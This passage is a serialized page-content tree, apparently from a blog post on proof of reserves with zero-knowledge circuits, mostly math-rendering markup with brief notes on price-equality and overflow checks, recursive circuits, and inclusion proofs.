":23,"tag":134,"props":94917,"children":94919},{"className":94918},[1228],[94920],{"type":23,"tag":134,"props":94921,"children":94923},{"className":94922},[1233,21120],[94924,94954],{"type":23,"tag":134,"props":94925,"children":94927},{"className":94926},[1238],[94928,94949],{"type":23,"tag":134,"props":94929,"children":94931},{"className":94930,"style":93088},[1243],[94932],{"type":23,"tag":134,"props":94933,"children":94935},{"style":94934},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[94936,94940],{"type":23,"tag":134,"props":94937,"children":94939},{"className":94938,"style":1253},[1252],[],{"type":23,"tag":134,"props":94941,"children":94943},{"className":94942},[1258,1259,1260,1261],[94944],{"type":23,"tag":134,"props":94945,"children":94947},{"className":94946},[1211,21066,1261],[94948],{"type":28,"value":929},{"type":23,"tag":134,"props":94950,"children":94952},{"className":94951},[21223],[94953],{"type":28,"value":21226},{"type":23,"tag":134,"props":94955,"children":94957},{"className":94956},[1238],[94958],{"type":23,"tag":134,"props":94959,"children":94961},{"className":94960,"style":92642},[1243],[94962],{"type":23,"tag":134,"props":94963,"children":94964},{},[],{"type":23,"tag":134,"props":94966,"children":94968},{"className":94967},[1211],[94969],{"type":28,"value":720},{"type":23,"tag":134,"props":94971,"children":94973},{"className":94972},[1211,21066],[94974],{"type":28,"value":24},{"type":23,"tag":134,"props":94976,"children":94978},{"className":94977},[1211,21066],[94979],{"type":28,"value":92818},{"type":23,"tag":134,"props":94981,"children":94983},{"className":94982},[1211,21066],[94984],{"type":28,"value":393},{"type":23,"tag":134,"props":94986,"children":94988},{"className":94987,"style":92571},[1211,21066],[94989],{"type":28,"value":92574},{"type":23,"tag":134,"props":94991,"children":94993},{"className":94992},[1211,21066],[94994],{"type":28,"value":929},{"type":23,"tag":134,"props":94996,"children":94998},{"className":94997},[1211,21066],[94999],{"type":28,"value":315},{"type":23,"tag":134,"props":95001,"children":95003},{"className":95002,"style":92559},[1211],[95004],{"type":28,"value":247},{"type":23,"tag":134,"props":95006,"children":95008},{"className":95007},[1211,21066],[95009],{"type":28,"value":95010},"in",{"type":23,"tag":134,"props":95012,"children":95014},{"className":95013},[1211,21066],[95015],{"type":28,"value":24},{"type":23,"tag":134,"props":95017,"children":95019},{"className":95018},[1211,21066],[95020],{"type":28,"value":92818},{"type":23,"tag":134,"props":95022,"children":95024},{"className":95023},[1211,21066],[95025],{"type":28,"value":21208},{"type":23,"tag":134,"props":95027,"children":95029},{"className":95028},[1211],[95030],{"type":28,"value":720},{"type":23,"tag":134,"props":95032,"children":95034},{"className":95033},[1211,21066],[95035],{"type":28,"value":31},{"type":23,"tag":134,"props":95037,"children":95039},{"className":95038},[1211,21066],[95040],{"type":28,"value":92550},{"type":23,"tag":134,"props":95042,"children":95044},{"className":95043},[1211,21066],[95045],{"type":28,"value":21208},{"type":23,"tag":134,"props":95047,"children":95049},{"className":95048,"style":92559},[1211],[95050],{"type":28,"value":247},{"type":23,"tag":134,"props":95052,"children":95054},{"className":95053},[1211,21066],[95055],{"type":28,"value":92567},{"type":23,"tag":134,"props":95057,"children":95059},{"className":95058,"style":92571},[1211,21066],[95060],{"type":28,"value":92574},{"type":23,"tag":134,"props":95062,"children":95064},{"className":95063},[1211,21066],[95065],{"type":28,"value":92580},{"type":23,"tag":134,"props":95067,"children":95069},{"className":95068},[1211,21066],[95070],{"type":28,"value":93389},{"type":23,"tag":134,"props":95072,"children":95074},{"className":95073},[21195],[95075],{"type":28,"value":924},{"type":23,"tag":134,"props":95077,"children":95079},{"className":95078},[1211,21066],[95080],{"type":28,"value":31},{"type":23,"tag":134,"props":95082,"children":95084},{"className":95083},[1211,21066],[95085],{"type":28,"value":92550},{"type":23,"tag":134,"props":95087,"children":95089},{"className":95088},[1211,21066],[95090],{"type":28,"value":21208},{"type":23,"tag":134,"props":95092,"children":95094},{"className":95093,"style":92559},[1211],[95095],{"type":28,"value":247},{"type":23,"tag":134,"props":95097,"children":95099},{"className":95098},[1211,21066],[95100],{"type":28,"value":55910},{"type":23,"tag":134,"props":95102,"children":95104},{"className":95103},[1211,21066],[95105],{"type":28,"value":92818},{"type":23,"tag":134,"props":95107,"children":95109},{"className":95108},[1211,21066],[95110],{"type":28,"value":50639},{"type":23,"tag":134,"props":95112,"children":95114},{"className":95113},[21217],[95115],{"type":28,"value":14880},{"type":28,"value":5915},{"type":23,"tag":2532,"props":95118,"children":95119},{},[95120],{"type":28,"value":93949},{"type":23,"tag":4894,"props":95122,"children":95123},{},[95124],{"type":23,"tag":92,"props":95125,"children":95127},{"className":95126},[1183,1184],[95128],{"type":23,"tag":134,"props":95129,"children":95131},{"className":95130},[1189],[95132],{"type":23,"tag":134,"props":95133,"children":95135},{"className":95134,"ariaHidden":1195},[1194],[95136,95242],{"type":23,"tag":134,"props":95137,"children":95139},{"className":95138},[1200],[95140,95144,95149,95154,95159,95164,95169,95174,95179,95184,95189,95194,95199,95204,95209,95214,95219,95224,95229,95233,95238],{"type":23,"tag":134,"props":95141,"children":95143},{"className":95142,"style":92501},[1205],[],{"type":23,"tag":134,"props":95145,"children":95147},{"className":95146},[1211,21066],[95148],{"type":28,"value":31},{"type":23,"tag":134,"props":95150,"children":95152},{"className":95151},[1211,21066],[95153],{"type":28,"value":92550},{"type":23,"tag":134,"props":95155,"children":95157},{"className":95156},[1211,21066],[95158],{"type":28,"value":21208},{"type":23,"tag":134,"props":95160,"children":95162},{"className":95161,"style":92559},[1211],[95163],{"type":28,"value":247},{"type":23,"tag":134,"props":95165,"children":95167},{"className":95166},[1211,21066],[95168],{"type":28,"value":24},{"type":23,"tag":134,"props":95170,"children":95172},{"className":95171,"style":92559},[1211,21066],[95173],{"type":28,"value":93378},{"type":23,"tag":134,"props":95175,"children":95177},{"className":95176},[1211,21066],[95178],{"type":28,"value":929},{"type":23,"tag":134,"props":95180,"children":95182},{"className":95181},[1211,21066],[95183],{"type":28,"value":92586},{"type":23,"tag":134,"props":95185,"children":95187},{"className":95186},[21195],[95188],{"type":28,"value":924},{"type":23,"tag":134,"props":95190,"children":95192},{"className":95191},[1211,21066],[95193],{"type":28,"value":31},{"type":23,"tag":134,"props":95195,"children":95197},{"className":95196},[1211,21066],[95198],{"type":28,"value":92550},{"type":23,"tag":134,"props":95200,"children":95202},{"className":95201},[1211,21066],[95203],{"type":28,"value":21208},{"type":23,"tag":134,"props":95205,"children":95207},{"className":95206,"style":92559},[1211],[95208],{"type":28,"value":247},{"type":23,"tag":134,"props":95210,"children":95212},{"className":95211},[1211,21066],[95213],{"type":28,"value":55910},{"type":23,"tag":134,"props":95215,"children":95217},{"className":95216},[1211,21066],[95218],{"type":28,"value":92818},{"type":23,"tag":134,"props":95220,"children":95222},{"className":95221},[1211,21066],[95223],{"type":28,"value":50639},{"type":23,"tag":134,"props":95225,"children":95227},{"className":95226},[21217],[95228],{"type":28,"value":14880},{"type":23,"tag":134,"props":95230,"children":95232},{"className":95231,"style":1390},[1292],[],{"type":23,"tag":134,"props":95234,"children":95236},{"className":95235},[1395],[95237],{"type":28,"value":8035},{"type":23,"tag":134,"props":95239,"children":95241},{"className":95240,"style":1390},[1292],[],{"type":23,"tag":134,"props":95243,"children":95245},{"className":95244},[1200],[95246,95250,95255,95260,95265,95270,95275,95332,95337,95342,95347,95352,95357,95362,95367,95372,95377,95382,95387,95392,95397,95402,95407,95412,95417,95422,95427,95432,95437,95442,95447],{"type":23,"tag":134,"props":95247,"children":95249},{"className":95248,"style":92501},[1205],[],{"type":23,"tag":134,"props":95251,"children":95253},{"className":95252},[1211,21066],[95254],{"type":28,"value":10117},{"type":23,"tag":134,"props":95256,"children":95258},{"className":95257},[1211,21066],[95259],{"type":28,"value":92818},{"type":23,"tag":134,"props":95261,"children":95263},{"className":95262},[1211,21066],[95264],{"type":28,"value":393},{"type":23,"tag":134,"props":95266,"children":95268},{"className":95267},[1211,21066],[95269],{"type":28,"value":24},{"type":23,"tag":134,"props":95271,"children":95273},{"className":95272},[1211,21066],[95274],{"type":28,"value":94905},{"type":23,"tag":134,"props":95276,"children":95278},{"className":95277},[1211],[95279,95284],{"type":23,"tag":134,"props":95280,"children":95282},{"className":95281,"style":94913},[1211,21066],[95283],{"type":28,"value":32581},{"type":23,"tag":134,"props":95285,"children":95287},{"className":95286},[1228],[95288],{"type":23,"tag":134,"props":95289,"children":95291},{"className":95290},[1233,21120],[95292,95321],{"type":23,"tag":134,"props":95293,"children":95295},{"className":95294},[1238],[95296,95316],{"type":23,"tag":134,"props":95297,"children":95299},{"className":95298,"style":93088},[1243],[95300],{"type":23,"tag":134,"props":95301,"children":95302},{"style":94934},[95303,95307],{"type":23,"tag":134,"props":95304,"children":95306},{"className":95305,"style":1253},[1252],[],{"type":23,"tag":134,"props":95308,"children":95310},{"className":95309},[1258,1259,1260,1261],[95311],{"type":23,"tag":134,"props":95312,"children":95314},{"className":95313},[1211,21066,1261],[95315],{"type":28,"value":929},{"type":23,"tag":134,"props":95317,"children":95319},{"className":95318},[21223],[95320],{"type":28,"value":21226},{"type":23,"tag":134,"props":95322,"children":95324},{"className":95323},[1238],[95325],{"type":23,"tag":134,"props":95326,"children":95328},{"className":95327,"style":92642},[1243],[95329],{"type":23,"tag":134,"props":95330,"children":95331},{},[],{"type":23,"tag":134,"props":95333,"children":95335},{"className":95334},[1211],[95336],{"type":28,"value":720},{"type":23,"tag":134,"props":95338,"children":95340},{"className":95339},[1211,21066],[95341],{"type":28,"value":24},{"type":23,"tag":134,"props":95343,"children":95345},{"className":95344},[1211,21066],[95346],{"type":28,"value":92818},{"type":23,"tag":134,"props":95348,"children":95350},{"className":95349},[1211,21066],[95351],{"type":28,"value":393},{"type":23,"tag":134,"props":95353,"children":95355},{"className":95354,"style":92571},[1211,21066],[95356],{"type":28,"value":92574},{"type":23,"tag":134,"props":95358,"children":95360},{"className":95359},[1211,21066],[95361],{"type":28,"value":929},{"type":23,"tag":134,"props":95363,"children":95365},{"className":95364},[1211,21066],[95366],{"type":28,"value":315},{"type":23,"tag":134,"props":95368,"children":95370},{"className":95369,"style":92559},[1211],[95371],{"type":28,"value":247},{"type":23,"tag":134,"props":95373,"children":95375},{"className":95374},[1211,21066],[95376],{"type":28,"value":95010},{"type":23,"tag":134,"props":95378,"children":95380},{"className":95379},[1211,21066],[95381],{"type":28,"value":24},{"type":23,"tag":134,"props":95383,"children":95385},{"className":95384},[1211,21066],[95386],{"type":28,"value":92818},{"type":23,"tag":134,"props":95388,"children":95390},{"className":95389},[1211,21066],[95391],{"type":28,"value":21208},{"type":23,"tag":134,"props":95393,"children":95395},{"className":95394},[1211],[95396],{"type":28,"value":720},{"type":23,"tag":134,"props":95398,"children":95400},{"className":95399},[1211,21066],[95401],{"type":28,"value":31},{"type":23,"tag":134,"props":95403,"children":95405},{"className":95404},[1211,21066],[95406],{"type":28,"value":92550},{"type":23,"tag":134,"props":95408,"children":95410},{"className":95409},[1211,21066],[95411],{"type":28,"value":21208},{"type":23,"tag":134,"props":95413,"children":95415},{"className":95414,"style":92559},[1211],[95416],{"type":28,"value":247},{"type":23,"tag":134,"props":95418,"children":95420},{"className":95419},[1211,21066],[95421],{"type":28,"value":24},{"type":23,"tag":134,"props":95423,"children":95425},{"className":95424,"style":92559},[1211,21066],[95426],{"type":28,"value":93378},{"type":23,"tag":134,"props":95428,"children":95430},{"className":95429},[1211,21066],[95431],{"type":28,"value":929},{"type":23,"tag":134,"props":95433,"children":95435},{"className":95434},[1211,21066],[95436],{"type":28,"value":93389},{"type":23,"tag":134,"props":95438,"children":95440},{"className":95439},[21195],[95441],{"type":28,"value":924},{"type":23,"tag":134,"props":95443,"children":95445},{"className":95444},[1211],[95446],{"type":28,"value":1224},{"type":23,"tag":134,"props":95448,"children":95450},{"className":95449},[21217],[95451],{"type":28,"value":14880},{"type":23,"tag":4894,"props":95453,"children":95454},{},[95455,95813,95814],{"type":23,"tag":92,"props":95456,"children":95458},{"className":95457},[1183,1184],[95459],{"type":23,"tag":134,"props":95460,"children":95462},{"className":95461},[1189],[95463],{"type":23,"tag":134,"props":95464,"children":95466},{"className":95465,"ariaHidden":1195},[1194],[95467,95573],{"type":23,"tag":134,"props":95468,"children":95470},{"className":95469},[1200],[95471,95475,95480,95485,95490,95495,95500,95505,95510,95515,95520,95525,95530,95535,95540,95545,95550,95555,95560,95564,95569],{"type":23,"tag":134,"props":95472,"children":95474},{"className":95473,"style":92501},[1205],[],{"type":23,"tag":134,"props":95476,"children":95478},{"className":95477},[1211,21066],[95479],{"type":28,"value":31},{"type":23,"tag":134,"props":95481,"children":95483},{"className":95482},[1211,21066],[95484],{"type":28,"value":92550},{"type":23,"tag":134,"props":95486,"children":95488},{"className":95487},[1211,21066],[95489],{"type":28,"value":21208},{"type":23,"tag":134,"props":95491,"children":95493},{"className":95492,"style":92559},[1211],[95494],{"type":28,"value":247},{"type":23,"tag":134,"props":95496,"children":95498},{"className":95497},[1211,21066],[95499],{"type":28,"value":24},{"type":23,"tag":134,"props":95501,"children":95503},{"className":95502,"style":92559},[1211,21066],[95504],{"type":28,"value":93378},{"type":23,"tag":134,"props":95506,"children":95508},{"className":95507},[1211,21066],[95509],{"type":28,"value":929},{"type":23,"tag":134,"props":95511,"children":95513},{"className":95512},[1211,21066],[95514],{"type":28,"value":92586},{"type":23,"tag":134,"props":95516,"children":95518},{"className":95517},[21195],[95519],{"type":28,"value":924},{"type":23,"tag":134,"props":95521,"children":95523},{"className":95522},[1211,21066],[95524],{"type":28,"value":31},{"type":23,"tag":134,"props":95526,"children":95528},{"className":95527},[1211,21066],[95529],{"type":28,"value":92550},{"type":23,"tag":134,"props":95531,"children":95533},{"className":95532},[1211,21066],[95534],{"type":28,"value":21208},{"type":23,"tag":134,"props":95536,"children":95538},{"className":95537,"style":92559},[1211],[95539],{"type":28,"value":247},{"type":23,"tag":134,"props":95541,"children":95543},{"className":95542},[1211,21066],[95544],{"type":28,"value":55910},{"type":23,"tag":134,"props":95546,"children":95548},{"className":95547},[1211,21066],[95549],{"type":28,"value":92818},{"type":23,"tag":134,"props":95551,"children":95553},{"className":95552},[1211,21066],[95554],{"type":28,"value":50639},{"type":23,"tag":134,"props":95556,"children":95558},{"className":95557},[21217],[95559],{"type":28,"value":14880},{"type":23,"tag":134,"props":95561,"children":95563},{"className":95562,"style":1390},[1292],[],{"type":23,"tag":134,"props":95565,"children":95567},{"className":95566},[1395],[95568],{"type":28,"value":8035},{"type":23,"tag":134,"props":95570,"children":95572},{"className":95571,"style":1390},[1292],[],{"type":23,"tag":134,"props":95574,"children":95576},{"className":95575},[1200],[95577,95581,95586,95591,95596,95601,95606,95663,95668,95673,95678,95683,95688,95693,95698,95703,95708,95713,95718,95723,95728,95733,95738,95743,95748,95753,95758,95763,95768,95773,95778,95783,95788,95793,95798,95803,95808],{"type":23,"tag":134,"props":95578,"children":95580},{"className":95579,"style":92501},[1205],[],{"type":23,"tag":134,"props":95582,"children":95584},{"className":95583},[1211,21066],[95585],{"type":28,"value":10117},{"type":23,"tag":134,"props":95587,"children":95589},{"className":95588},[1211,21066],[95590],{"type":28,"value":92818},{"type":23,"tag":134,"props":95592,"children":95594},{"className":95593},[1211,21066],[95595],{"type":28,"value":393},{"type":23,"tag":134,"props":95597,"children":95599},{"className":95598},[1211,21066],[95600],{"type":28,"value":24},{"type":23,"tag":134,"props":95602,"children":95604},{"className":95603},[1211,21066],[95605],{"type":28,"value":94905},{"type":23,"tag":134,"props":95607,"children":95609},{"className":95608},[1211],[95610,95615],{"type":23,"tag":134,"props":95611,"children":95613},{"className":95612,"style":94913},[1211,21066],[95614],{"type":28,"value":32581},{"type":23,"tag":134,"props":95616,"children":95618},{"className":95617},[1228],[95619],{"type":23,"tag":134,"props":95620,"children":95622},{"className":95621},[1233,21120],[95623,95652],{"type":23,"tag":134,"props":95624,"children":95626},{"className":95625},[1238],[95627,95647],{"type":23,"tag":134,"props":95628,"children":95630},{"className":95629,"style":93088},[1243],[95631],{"type":23,"tag":134,"props":95632,"children":95633},{"style":94934},[95634,95638],{"type":23,"tag":134,"props":95635,"children":95637},{"className":95636,"style":1253},[1252],[],{"type":23,"tag":134,"props":95639,"children":95641},{"className":95640},[1258,1259,1260,1261],[95642],{"type":23,"tag":134,"props":95643,"children":95645},{"className":95644},[1211,21066,1261],[95646],{"type":28,"value":929},{"type":23,"tag":134,"props":95648,"children":95650},{"className":95649},[21223],[95651],{"type":28,"value":21226},{"type":23,"tag":134,"props":95653,"children":95655},{"className":95654},[1238],[95656],{"type":23,"tag":134,"props":95657,"children":95659},{"className":95658,"style":92642},[1243],[95660],{"type":23,"tag":134,"props":95661,"children":95662},{},[],{"type":23,"tag":134,"props":95664,"children":95666},{"className":95665},[1211],[95667],{"type":28,"value":720},{"type":23,"tag":134,"props":95669,"children":95671},{"className":95670},[1211,21066],[95672],{"type":28,"value":24},{"type":23,"tag":134,"props":95674,"children":95676},{"className":95675},[1211,21066],[95677],{"type":28,"value":92818},{"type":23,"tag":134,"props":95679,"children":95681},{"className":95680},[1211,21066],[95682],{"type":28,"value":393},{"type":23,"tag":134,"props":95684,"children":95686},{"className":95685,"style":92571},[1211,21066],[95687],{"type":28,"value":92574},{"type":23,"tag":134,"props":95689,"children":95691},{"className":95690},[1211,21066],[95692],{"type":28,"value":929},{"type":23,"tag":134,"props":95694,"children":95696},{"className":95695},[1211,21066],[95697],{"type":28,"value":315},{"type":23,"tag":134,"props":95699,"children":95701},{"className":95700,"style":92559},[1211],[95702],{"type":28,"value":247},{"type":23,"tag":134,"props":95704,"children":95706},{"className":95705},[1211,21066],[95707],{"type":28,"value":95010},{"type":23,"tag":134,"props":95709,"children":95711},{"className":95710},[1211,21066],[95712],{"type":28,"value":24},{"type":23,"tag":134,"props":95714,"children":95716},{"className":95715},[1211,21066],[95717],{"type":28,"value":92818},{"type":23,"tag":134,"props":95719,"children":95721},{"className":95720},[1211,21066],[95722],{"type":28,"value":21208},{"type":23,"tag":134,"props":95724,"children":95726},{"className":95725},[1211],[95727],{"type":28,"value":720},{"type":23,"tag":134,"props":95729,"children":95731},{"className":95730},[1211,21066],[95732],{"type":28,"value":31},{"type":23,"tag":134,"props":95734,"children":95736},{"className":95735},[1211,21066],[95737],{"type":28,"value":92550},{"type":23,"tag":134,"props":95739,"children":95741},{"className":95740},[1211,21066],[95742],{"type":28,"value":21208},{"type":23,"tag":134,"props":95744,"children":95746},{"className":95745,"style":92559},[1211],[95747],{"type":28,"value":247},{"type":23,"tag":134,"props":95749,"children":95751},{"className":95750},[1211,21066],[95752],{"type":28,"value":24},{"type":23,"tag":134,"props":95754,"children":95756},{"className":95755,"style":92559},[1211,21066],[95757],{"type":28,"value":93378},{"type":23,"tag":134,"props":95759,"children":95761},{"className":95760},[1211,21066],[95762],{"type":28,"value":929},{"type":23,"tag":134,"props":95764,"children":95766},{"className":95765},[1211,21066],[95767],{"type":28,"value":93389},{"type":23,"tag":134,"props":95769,"children":95771},{"className":95770},[21195],[95772],{"type":28,"value":924},{"type":23,"tag":134,"props":95774,"children":95776},{"className":95775},[1211,21066],[95777],{"type":28,"value":31},{"type":23,"tag":134,"props":95779,"children":95781},{"className":95780},[1211,21066],[95782],{"type":28,"value":92550},{"type":23,"tag":134,"props":95784,"children":95786},{"className":95785},[1211,21066],[95787],{"type":28,"value":21208},{"type":23,"tag":134,"props":95789,"children":95791},{"className":95790,"style":92559},[1211],[95792],{"type":28,"value":247},{"type":23,"tag":134,"props":95794,"children":95796},{"className":95795},[1211,21066],[95797],{"type":28,"value":55910},{"type":23,"tag":134,"props":95799,"children":95801},{"className":95800},[1211,21066],[95802],{"type":28,"value":92818},{"type":23,"tag":134,"props":95804,"children":95806},{"className":95805},[1211,21066],[95807],{"type":28,"value":50639},{"type":23,"tag":134,"props":95809,"children":95811},{"className":95810},[21217],[95812],{"type":28,"value":14880},{"type":28,"value":5915},{"type":23,"tag":2532,"props":95815,"children":95816},{},[95817],{"type":28,"value":95818},"(verifies if all asset prices are the same)",{"type":23,"tag":4894,"props":95820,"children":95821},{},[95822,96201,96202],{"type":23,"tag":92,"props":95823,"children":95825},{"className":95824},[1183,1184],[95826],{"type":23,"tag":134,"props":95827,"children":95829},{"className":95828},[1189],[95830],{"type":23,"tag":134,"props":95831,"children":95833},{"className":95832,"ariaHidden":1195},[1194],[95834,95915],{"type":23,"tag":134,"props":95835,"children":95837},{"className":95836},[1200],[95838,95842,95847,95852,95857,95862,95867,95872,95877,95882,95887,95892,95897,95902,95906,95911],{"type":23,"tag":134,"props":95839,"children":95841},{"className":95840,"style":93972},[1205],[],{"type":23,"tag":134,"props":95843,"children":95845},{"className":95844},[1211,21066],[95846],{"type":28,"value":50639},{"type":23,"tag":134,"props":95848,"children":95850},{"className":95849,"style":92559},[1211,21066],[95851],{"type":28,"value":93984},{"type":23,"tag":134,"props":95853,"children":95855},{"className":95854,"style":93988},[1211,21066],[95856],{"type":28,"value":88196},{"type":23,"tag":134,"props":95858,"children":95860},{"className":95859,"style":92571},[1211,21066],[95861],{"type":28,"value":92574},{"type":23,"tag":134,"props":95863,"children":95865},{"className":95864},[1211,21066],[95866],{"type":28,"value":50960},{"type":23,"tag":134,"props":95868,"children":95870},{"className":95869,"style":92559},[1211],[95871],{"type":28,"value":247},{"type":23,"tag":134,"props":95873,"children":95875},{"className":95874},[1211,21066],[95876],{"type":28,"value":21208},{"type":23,"tag":134,"props":95878,"children":95880},{"className":95879},[1211,21066],[95881],{"type":28,"value":94016},{"type":23,"tag":134,"props":95883,"children":95885},{"className":95884,"style":92559},[1211],[95886],{"type":28,"value":247},{"type":23,"tag":134,"props":95888,"children":95890},{"className":95889},[1211,21066],[95891],{"type":28,"value":94027},{"type":23,"tag":134,"props":95893,"children":95895},{"className":95894},[1211,21066],[95896],{"type":28,"value":10117},{"type":23,"tag":134,"props":95898,"children":95900},{"className":95899},[1211,21066],[95901],{"type":28,"value":83857},{"type":23,"tag":134,"props":95903,"children":95905},{"className":95904,"style":1390},[1292],[],{"type":23,"tag":134,"props":95907,"children":95909},{"className":95908},[1395],[95910],{"type":28,"value":8035},{"type":23,"tag":134,"props":95912,"children":95914},{"className":95913,"style":1390},[1292],[],{"type":23,"tag":134,"props":95916,"children":95918},{"className":95917},[1200],[95919,95923,95928,95933,95938,95943,95948,95953,95958,95963,95968,96025,96030,96034,96039,96044,96101,96106,96110,96115,96120,96124,96129,96134,96196],{"type":23,"tag":134,"props":95920,"children":95922},{"className":95921,"style":1313},[1205],[],{"type":23,"tag":134,"props":95924,"children":95926},{"className":95925,"style":21067},[1211,21066],[95927],{"type":28,"value":21070},{"type":23,"tag":134,"props":95929,"children":95931},{"className":95930},[1211,21066],[95932],{"type":28,"value":92513},{"type":23,"tag":134,"props":95934,"children":95936},{"className":95935},[1211,21066],[95937],{"type":28,"value":929},{"type":23,"tag":134,"props":95939,"children":95941},{"className":95940},[1211,21066],[95942],{"type":28,"value":70074},{"type":23,"tag":134,"props":95944,"children":95946},{"className":95945},[1211,21066],[95947],{"type":28,"value":92529},{"type":23,"tag":134,"props":95949,"children":95951},{"className":95950},[1211,21066],[95952],{"type":28,"value":55910},{"type":23,"tag":134,"props":95954,"children":95956},{"className":95955},[21195],[95957],{"type":28,"value":272},{"type":23,"tag":134,"props":95959,"children":95961},{"className":95960},[1211,21066],[95962],{"type":28,"value":94027},{"type":23,"tag":134,"props":95964,"children":95966},{"className":95965},[1211,21066],[95967],{"type":28,"value":10117},{"type":23,"tag":134,"props":95969,"children":95971},{"className":95970},[1211],[95972,95977],{"type":23,"tag":134,"props":95973,"children":95975},{"className":95974},[1211,21066],[95976],{"type":28,"value":83857},{"type":23,"tag":134,"props":95978,"children":95980},{"className":95979},[1228],[95981],{"type":23,"tag":134,"props":95982,"children":95984},{"className":95983},[1233,21120],[95985,96014],{"type":23,"tag":134,"props":95986,"children":95988},{"className":95987},[1238],[95989,96009],{"type":23,"tag":134,"props":95990,"children":95992},{"className":95991,"style":92611},[1243],[95993],{"type":23,"tag":134,"props":95994,"children":95995},{"style":92615},[95996,96000],{"type":23,"tag":134,"props":95997,"children":95999},{"className":95998,"style":1253},[1252],[],{"type":23,"tag":134,"props":96001,"children":96003},{"className":96002},[1258,1259,1260,1261],[96004],{"type":23,"tag":134,"props":96005,"children":96007},{"className":96006},[1211,1261],[96008],{"type":28,"value":1224},{"type":23,"tag":134,"props":96010,"children":96012},{"className":96011},[21223],[96013],{"type":28,"value":21226},{"type":23,"tag":134,"props":96015,"children":96017},{"className":96016},[1238],[96018],{"type":23,"tag":134,"props":96019,"children":96021},{"className":96020,"style":92642},[1243],[96022],{"type":23,"tag":134,"props":96023,"children":96024},{},[],{"type":23,"tag":134,"props":96026,"children":96028},{"className":96027},[1324],[96029],{"type":28,"value":1327},{"type":23,"tag":134,"props":96031,"children":96033},{"className":96032,"style":1331},[1292],[],{"type":23,"tag":134,"props":96035,"children":96037},{"className":96036},[1211,21066],[96038],{"type":28,"value":94027},{"type":23,"tag":134,"props":96040,"children":96042},{"className":96041},[1211,21066],[96043],{"type":28,"value":10117},{"type":23,"tag":134,"props":96045,"children":96047},{"className":96046},[1211],[96048,96053],{"type":23,"tag":134,"props":96049,"children":96051},{"className":96050},[1211,21066],[96052],{"type":28,"value":83857},{"type":23,"tag":134,"props":96054,"children":96056},{"className":96055},[1228],[96057],{"type":23,"tag":134,"props":96058,"children":96060},{"className":96059},[1233,21120],[96061,96090],{"type":23,"tag":134,"props":96062,"children":96064},{"className":96063},[1238],[96065,96085],{"type":23,"tag":134,"props":96066,"children":96068},{"className":96067,"style":92611},[1243],[96069],{"type":23,"tag":134,"props":96070,"children":96071},{"style":92615},[96072,96076],{"type":23,"tag":134,"props":96073,"children":96075},{"className":96074,"style":1253},[1252],[],{"type":23,"tag":134,"props":96077,"children":96079},{"className":96078},[1258,1259,1260,1261],[96080],{"type":23,"tag":134,"props":96081,"children":96083},{"className":96082},[1211,1261],[96084],{"type":28,"value":1214},{"type":23,"tag":134,"props":96086,"children":96088},{"className":96087},[21223],[96089],{"type":28,"value":21226},{"type":23,"tag":134,"props":96091,"children":96093},{"className":96092},[1238],[96094],{"type":23,"tag":134,"props":96095,"children":96097},{"className":96096,"style":92642},[1243],[96098],{"type":23,"tag":134,"props":96099,"children":96100},{},[],{"type":23,"tag":134,"props":96102,"children":96104},{"className":96103},[1324],[96105],{"type":28,"value":1327},{"type":23,"tag":134,"props":96107,"children":96109},{"className":96108,"style":1331},[1292],[],{"type":23,"tag":134,"props":96111,"children":96113},{"className":96112},[1211],[96114],{"type":28,"value":9054},{"type":23,"tag":134,"props":96116,"children":96118},{"className":96117},[1324],[96119],{"type":28,"value":1327},{"type":23,"tag":134,"props":96121,"children":96123},{"className":96122,"style":1331},[1292],[],{"type":23,"tag":134,"props":96125,"children":96127},{"className":96126},[1211,21066],[96128],{"type":28,"value":94027},{"type":23,"tag":134,"props":96130,"children":96132},{"className":96131},[1211,21066],[96133],{"type":28,"value":10117},{"type":23,"tag":134,"props":96135,"children":96137},{"className":96136},[1211],[96138,96143],{"type":23,"tag":134,"props":96139,"children":96141},{"className":96140},[1211,21066],[96142],{"type":28,"value":83857},{"type":23,"tag":134,"props":96144,"children":96146},{"className":96145},[1228],[96147],{"type":23,"tag":134,"props":96148,"children":96150},{"className":96149},[1233,21120],[96151,96185],{"type":23,"tag":134,"props":96152,"children":96154},{"className":96153},[1238],[96155,96180],{"type":23,"tag":134,"props":96156,"children":96158},{"className":96157,"style":92611},[1243],[96159],{"type":23,"tag":134,"props":96160,"children":96161},{"style":92615},[96162,96166],{"type":23,"tag":134,"props":96163,"children":96165},{"className":96164,"style":1253},[1252],[],{"type":23,"tag":134,"props":96167,"children":96169},{"className":96168},[1258,1259,1260,1261],[96170],{"type":23,"tag":134,"props":96171,"children":96173},{"className":96172},[1211,1261],[96174],{"type":23,"tag":134,"props":96175,"children":96177},{"className":96176},[1211,1261],[96178],{"type":28,"value":96179},"31",{"type":23,"tag":134,"props":96181,"children":96183},{"className":96182},[21223],[96184],{"type":28,"value":21226},{"type":23,"tag":134,"props":96186,"children":96188},{"className":96187},[1238],[96189],{"type":23,"tag":134,"props":96190,"children":96192},{"className":96191,"style":92642},[1243],[96193],{"type":23,"tag":134,"props":96194,"children":96195},{},[],{"type":23,"tag":134,"props":96197,"children":96199},{"className":96198},[21217],[96200],{"type":28,"value":296},{"type":28,"value":5915},{"type":23,"tag":2532,"props":96203,"children":96204},{},[96205],{"type":28,"value":94347},{"type":23,"tag":4894,"props":96207,"children":96208},{},[96209,96214,96215],{"type":23,"tag":55,"props":96210,"children":96211},{},[96212],{"type":28,"value":96213},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":5915},{"type":23,"tag":2532,"props":96216,"children":96217},{},[96218],{"type":28,"value":94631},{"type":23,"tag":24,"props":96220,"children":96221},{},[96222],{"type":28,"value":96223},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":96225,"children":96226},{},[96227],{"type":23,"tag":1116,"props":96228,"children":96230},{"alt":50084,"src":96229},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":61,"props":96232,"children":96234},{"id":96233},"global-proof-and-inclusion-proofs",[96235],{"type":28,"value":96236},"Global Proof and Inclusion Proofs",{"type":23,"tag":9072,"props":96238,"children":96239},{"id":8744},[96240],{"type":28,"value":96241},"Proving",{"type":23,"tag":24,"props":96243,"children":96244},{},[96245,96247,96253,96254,96260,96261,96267],{"type":28,"value":96246},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to 